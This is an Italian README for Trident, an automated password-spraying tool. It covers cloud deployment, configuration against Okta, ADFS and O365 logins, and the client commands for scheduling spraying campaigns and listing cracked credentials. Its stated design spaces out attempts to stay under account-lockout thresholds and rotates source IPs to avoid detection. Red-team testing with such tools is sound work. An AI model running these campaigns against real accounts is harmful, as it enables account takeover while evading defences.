
strumento automatizzato di password spraying
Il progetto Trident è uno strumento automatico di password spraying sviluppato per soddisfare i seguenti requisiti:
la possibilità di essere distribuito su diverse piattaforme cloud/provider di esecuzione
la possibilità di pianificare campagne di spraying in base alla politica di blocco account di un target
la possibilità di aumentare il pool di IP da cui provengono i tentativi di autenticazione per scopi di sicurezza operativa
la possibilità di estendere rapidamente le funzionalità per includere piattaforme di autenticazione incontrate di recente

Questo diagramma è stato generato usando Diagrams. Il gopher Go è stato disegnato da Renee French ed è concesso in licenza CC BY 3.0.
La distribuzione di trident richiede un progetto Google Cloud, un nome di dominio (per l'API orchestrator) e una configurazione Cloudflare Access per questo dominio. Cloudflare Access viene utilizzato per autenticare le richieste all'API orchestrator.
brew install cloudflare/cloudflare/cloudflared
brew install terraform
cd terraform
cloudflared login
terraform init
terraform plan
terraform apply
Trident ha un'interfaccia a riga di comando disponibile nella pagina delle release.
In alternativa, puoi scaricare e installare trident-client tramite go get:
GO111MODULE=on go get github.com/praetorian-inc/trident/cmd/trident-client
Il binario trident-client invia richieste API all'orchestrator. Legge da ~/.trident/config.yaml, che ha il seguente formato:
orchestrator-url: https://trident.example.org
providers:
okta:
subdomain: example
adfs:
domain: adfs.example.org
o365:
domain: login.microsoft.com
Con un config.yaml valido, il trident-client può essere utilizzato per creare campagne di password spraying, come mostrato di seguito:
trident-client campaign -u usernames.txt -p passwords.txt --interval 5s --window 120s
L'opzione --interval permette all'operatore di inserire ritardi tra i tentativi di credenziali. L'opzione --window permette all'operatore di impostare un tempo di arresto forzato per la campagna. Ulteriori argomenti sono documentati di seguito:
Usage:
trident-cli campaign [flags]
Flags:
-a, --auth-provider string this is the authentication platform you are attacking (default "okta")
-h, --help help for campaign
-i, --interval duration requests will happen with this interval between them (default 1s)
-b, --notbefore string requests will not start before this time (default "2020-09-09T22:31:38.643959-05:00")
-p, --passfile string file of passwords (newline separated)
-u, --userfile string file of usernames (newline separated)
-w, --window duration a duration that this campaign will be active (ex: 4w) (default 672h0m0s)
Il sottocomando results può essere utilizzato per interrogare la tabella dei risultati. Questo sottocomando ha diverse opzioni, ma per impostazione predefinita mostra tutte le credenziali valide in tutte le campagne.
$ trident-client results
+----+-------------------+------------+-------+
| ID | USERNAME | PASSWORD | VALID |
+----+-------------------+------------+-------+
| 1 | [email protected] | Password1! | true |
| 2 | [email protected] | Password2! | true |
| 3 | [email protected] | Password3! | true |
+----+-------------------+------------+-------+
Ulteriori argomenti sono documentati di seguito:
Usage:
trident-cli results [flags]
Flags:
-f, --filter string filter on db results (specified in JSON) (default '{"valid":true}')
-h, --help help for results
-o, --output-format string output format (table, csv, json) (default "table")
-r, --return string the list of fields you would like to see from the results (comma-separated string) (default "*")